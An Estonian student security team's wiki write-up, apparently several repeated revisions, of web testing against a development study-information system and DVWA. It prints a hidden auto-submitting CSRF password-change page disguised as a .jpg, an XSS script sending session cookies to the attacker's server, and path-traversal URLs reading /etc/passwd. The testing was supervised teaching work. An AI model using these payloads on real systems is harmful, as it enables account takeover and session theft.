[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).

Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000.

Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script'ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body nõrkust.

Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID'sid ja parameetreid ära oma pealkirjades.
Õnneks parameetritega väljad olid veebilehel korralikult ära escape'itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.

ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.

==== Wapiti ====
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti.
(Koduleht: http://wapiti.sourceforge.net/)

Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS'iga midagi teha.

==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====
=====1. katse - ÕISi keskkkonna keelevahetus =====
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]

Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.

Võtsime dev-ÕIS'i Source Code'ist välja vastava formi osa ja panime eraldi html faili.
Koristasime mittevajaliku disaini koodi juurest ära.
Muutsime form'i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks "en" ehk inglise keelne keskkond tekiks.
Panime koodi enose veebiserverisse üles nimega ois.html.

Faili sisu:
<source lang="html4strict">
<form id="settingsForm" method="post" action="https://itcollege.dev.ois.ee/setting/edit?user_id=2198"
enctype="application/x-www-form-urlencoded">
<input type="hidden" AUTOCOMPLETE="off" name="default_language"value="en">
<br>
<input type="submit" value="Salvesta seaded" name="Savesettings">
</form>
</source>
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.

Katsetas koodi enda konto peal Taavi.

=====2. katse - ÕIS'i kasutaja parooli muutmine =====

[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.

Selle jaoks uurisime välja, kus asub dev-ÕIS'i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.

Muutsime password ja password_check lahtrite väärtused järgnevaks: "test123" ehk kasutaja uus parool peale rünnakut.

Lahtrites muutsime user_id'd sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.

Kõik vormi lahtrite tüübid määrasime peidetud ehk "hidden", et poleks midagi näidata.

Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist.
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.

Lisasime CSS koodi Submit nupu ära peitmiseks.
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.

Salvestasime faili ära kui "screen1.jpg" fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.

Faili sisu:
<source lang="html4strict">
<html>
<head>
<style type="text/css">
#Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }
</style>
</head>
<body>
<body onload="document.forms.setPasswordForm.submit();">
<form name="setPasswordForm" id="setPasswordForm"
action="https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&continue=/auth/logout"
method="post">
<input type="hidden" name="user_id" value="2227" id="user_id" />
<input type="hidden" name="continue" value="%2Fet%2Fsetting%3Fuser_id%3D2227" id="continue" />
<input type="hidden" name="password" id="password" value="test123" />
<input type="hidden" name="password_check" id="password_check" value="test123" />
<input type="submit" name="Setpassword" id="Setpassword" value="Muuda salasõna" />
</form>
</body>
</html>
</source>

[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]

Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.
<pre>
AddType application/x-httpd-php .php .jpg
</pre>

Laadisime mõlemad failid Enose veebiserverisse avalikult.

Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki.
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle.
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail.
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja.
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"-ks ja me saime ligipääsu administraatori õigustes kontole.
Rünnak oli edukas.
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]

Andsime teada Valterile teada, et tegelikult tegime salajase ründe.
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha.
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug'iga.

Kuna tegu oli ÕIS'i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.

=== Taavi tegevus ===
===Burp suite===

Esimese asjane peale Burp suite käivitamist. Tabilt proxy ->intercept ->intercept off<br>
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)<br>
Proxy -> options alt lülitada sisse proxy listner pordile 8080 .<br>
Ohvri valimine <br>
Valida intruder -> target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.<br>
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.<br>
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.<br>site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.<br>
Targer->scope -> exclude frome scope ja veenduda at välja on arvatud logout laused.<br>
Spideringi sisselülitamine <br>
Valida tab Spide ning sealt panna linnuke kasti spider running.<br>
Ning oledki valmis saama laheküljelt infot.<br>
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.<br>
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.

==Nessuse algkäivitamine==
Valida backtrackist vulnerability scannerite alt nessus ning edasi nessus register .<br> Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.<br> Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)<br>
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)<br>
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.<br>
Järgnevalt valida nessus start.<br>
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.<br>
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.

=== Matise tegevus ===
==Väike upload tegevus, mis võiks olla teisiti==
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.
Proovisime üles laadida filme, .exe jne faile - kõik läks läbi.
Sellises kohas võiks olla süsteem tehtud whitelisti põhimõttel, et lubatud oleks ainult .doc .docx .pdf taolised failid ja kõik ülejäänud keelatud.

=== Sanderi tegevus ===
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]
Backtarcki keskkonnas sai testitud programmi w3af.

==== Backtrack: w3af ====
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]
Võimalik kätte saada SSL Certificate.
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:
https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?
username=<font color="red">KASUTAJANIMI</font>&continue=&Login=Logi sisse&pw=<font color="red">PAROOL</font>
Programmi sisestatud andmetega ka mitte:
Configuration -> HTTP Config -> Basic HTTP Authentication:
basicAuthUser: <font color="red">KASUTAJANIMI</font>
basicAuthPass: <font color="red">PAROOL</font>
basicAuthDomain: http://itcollege.dev.ois.ee
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:
Configuration -> HTTP Config -> Cookies
cookieJarFile: /root/Desktop/<font color="red">ois_cookie.txt</font>
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:
# Netscape HTTP Cookie File
.dev.ois.ee TRUE / FALSE 1731510001 itcollege_OIS_SESSION_ID <font color="red">870aqllryuw3cmf6cv8ellha03</font>
Esimene rida on nõutav! Teiste tähendused:
domain - The domain that created and that can read the variable.
flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.
This value is set automatically by the browser, depending on the value you set for domain.
path - The path within the domain that the variable is valid for.
secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.
expiration - The UNIX time that the variable will expire on.
name - The name of the variable.
value - The value of the variable.
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:
Edit -> Preferences -> Privacy -> History -> remove individual cookies
Search: itcollege.dev.ois.ee
Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID

Skänneerimine:
<ul>
<li>The page language is: en</li>
<li>The URL: "https://itcollege.dev.ois.ee/" has a "<form>" element with auto-complete enabled.</li>
<li>A comment with the string "<p>tunne end kui koolis</p>" was found in: "https://itcollege.dev.ois.ee/".</li>
<li>Found a form login. The action of the form is: "https://itcollege.dev.ois.ee/auth/login".</li>
The username field to be used is: "username".
The password field to be used is: "pw".
<li><font color="red">Found authentication credentials to: "https://itcollege.dev.ois.ee/auth/login". A correct user and password combination is: Administrador/6666666</font></li>
Antud kasutaja ja parooliga sisse ei saanud.
<li>The URL: "https://itcollege.dev.ois.ee/" returned a response that may contain a "SHA1" hash. The hash is: "c7b39896de5f296b5a44c2dfcd9f0600b2cf424d". This is uncommon and requires human verification.</li>
Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.
<li>The URL: "https://itcollege.dev.ois.ee/" sent these cookies:</li>
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/
<li>The SMTP settings in emailReport plugin seem to be incorrect. Original error: "[Errno 111] Connection refused".</li>
Kui tuleb see veateade, siis skänn katkeb.
<li><font color="red">The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):</font></li>
The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
<li><font color="red">SQL injection in a Unknown database was found at: "https://itcollege.dev.ois.ee/auth/login", using HTTP method POST.</font></li>
The sent post-data was: "username=John8212&security_key_sis_global=d'z"0&Login=Logi%20sisse&continue=56&pw=FrAmE30.".
The modified parameter was "security_key_sis_global". This vulnerability was found in the request with id 390.
<li>Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt</li>
User-agent: *
Disallow: /
Allow: /curriculum
Allow: /subject
Allow: /diploma
Allow: /schedule/ical
</ul>

== 4. päev - Presentatsiooni tegemine ja esitlemine ==

Koostasime presentatsiooni ja esitlemine.

[[Media:Security_team_presentation.ppt]]

== Arvamused intensiivõppe nädala kohta ==

== Tegijad ==
Alo Konno A21

Urmo Lihten A21

Taavi Podžuks A22

Matis Alliksoo A22

Sander Saarm A22

== Juhendajad ==
Mart Mangus

Margus Ernits

Valter Kungla

Security team

2012-03-28T11:52:08Z

Mallikso: /* Reflected Cross Site Scripting (XSS) */

== 1. päev - Materjalidga tutvumine ==

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1: Injection - Urmo
A2: Cross-Site Scripting (XSS) - Alo
A3: Broken Authentication and Session Management - Sander
A4: Insecure Direct Object References - Alo
A5: Cross-Site Request Forgery (CSRF) - Taavi
A6: Security Misconfiguration - Matis
A7: Insecure Cryptographic Storage - Matis
A8: Failure to Restrict URL Access - Urmo
A9: Insufficient Transport Layer Protection - Taavi
A10: Unvalidated Redirects and Forwards - Sander

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==

=== Alo tegevus ===

=== Urmo tegevus ===

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

==== Brute Force (DVWA) ====
Käsitsi välja uuritud login andmed:
kasutajanimi: admin
parool: password

Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud - selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse ja selleks panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada, siis oli päringute tegemise kiirus vähem kui 1päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.

Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork.
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud teadmata põhjusel.
Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

==== CSRF - Cross-site request forgery ====
Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Taavi tegevus ===

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.

=== Matise tegevus ===
==== Reflected Cross Site Scripting (XSS) ====
<ul>
<li>Lehel on selline Form:</li>
[[Image:Xsstesting.jpg|Location="left"|Caption|]]
<br>Form väljastab : Hello „sisestatud nimi“
<li>Easy puhul:</li>
<li>Saab sisestada textboxi skripti:</li>
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
<li>Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.</li>
<li>Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: </li>
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
<li>Saab kohe enda veebiserveri logidest näha Session ID’d.
<br>Näide logist:</li>
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" <br> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
<li>Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.</li>
</ul>

=== Sanderi tegevus ===

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
==== Faili üleslaadimine: madal tase ====
<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas
http://dvwa/hackable/uploads/*.php
käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev ==

=== Alo tegevus ===

=== Urmo tegevus ===

=== Taavi tegevus ===

=== Matise tegevus ===

=== Sanderi tegevus ===

== 4. päev ==

=== Alo tegevus ===

=== Urmo tegevus ===

=== Taavi tegevus ===

=== Matise tegevus ===

=== Sanderi tegevus ===

== Tegijad ==
Alo Konno<br>
Urmo Lihten<br>
Taavi Podžuks<br>
Matis Alliksoo<br>
Sander Saarm

Security team

2012-03-28T11:41:30Z

Mallikso: /* Reflected Cross Site Scripting (XSS) */

== 1. päev - Materjalidga tutvumine ==

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1: Injection - Urmo
A2: Cross-Site Scripting (XSS) - Alo
A3: Broken Authentication and Session Management - Sander
A4: Insecure Direct Object References - Alo
A5: Cross-Site Request Forgery (CSRF) - Taavi
A6: Security Misconfiguration - Matis
A7: Insecure Cryptographic Storage - Matis
A8: Failure to Restrict URL Access - Urmo
A9: Insufficient Transport Layer Protection - Taavi
A10: Unvalidated Redirects and Forwards - Sander

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==

=== Alo tegevus ===

=== Urmo tegevus ===

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

==== Brute Force (DVWA) ====
Käsitsi välja uuritud login andmed:
kasutajanimi: admin
parool: password

Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud - selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse ja selleks panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada, siis oli päringute tegemise kiirus vähem kui 1päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.

Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork.
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud teadmata põhjusel.
Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

==== CSRF - Cross-site request forgery ====
Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Taavi tegevus ===

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.

=== Matise tegevus ===
==== Reflected Cross Site Scripting (XSS) ====
<ul>
<li>Lehel on selline Form:</li>
<img src="Xsstesting.jpg"/>
<br>Form väljastab : Hello „sisestatud nimi“
<li>Easy puhul:</li>
<li>Saab sisestada textboxi skripti:</li>
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
<li>Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.</li>
<li>Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: </li>
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
<li>Saab kohe enda veebiserveri logidest näha Session ID’d.
<br>Näide logist:</li>
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" <br> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
<li>Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.</li>
</ul>

=== Sanderi tegevus ===

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
==== Faili üleslaadimine: madal tase ====
<ul>
